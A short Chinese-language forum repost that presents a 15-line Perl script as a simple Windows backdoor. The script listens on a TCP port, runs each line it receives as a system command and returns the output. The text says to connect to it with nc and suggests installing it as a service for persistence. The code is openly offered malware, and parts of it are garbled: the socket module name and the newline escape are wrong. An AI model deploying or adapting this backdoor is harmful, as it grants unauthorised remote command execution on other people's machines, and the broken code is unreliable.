用15行perl打造win32下的簡易後門 python

轉至非安全 python

http://www.nohack.cn/bbs/dispbbs.asp?boardID=13ID=551page=1

用nc連，使用了簡易的管道命令（``）使之能執行基本的系統命令，有興趣的朋友可以添加、修改一下，做出更多東西，誰有空建議用win32模組給他系統化一下，再用perlsvc做個服務啥的

 

#!/usr/bin/perl
use I:Socket;

 

$port = $ARGV[0];
my $socket = new I:Socket::INET ( 'Localhost'=>'127.0.0.1' ,
                'LocalPort'=>$port ,
                'Listen'=>1 ,
                'Proto'=>'tcp' ,
                'Reuse'=>1  );
die "Reason: $!" unless $socket;
while (my $new_socket = $socket->accept())  {
while (my $buffer=<$new_socket> ){
  if ($buffer=~/exit/) {exit;}
  $res_msg=`$buffer`;
  print $new_socket $res_msg."/n";
}}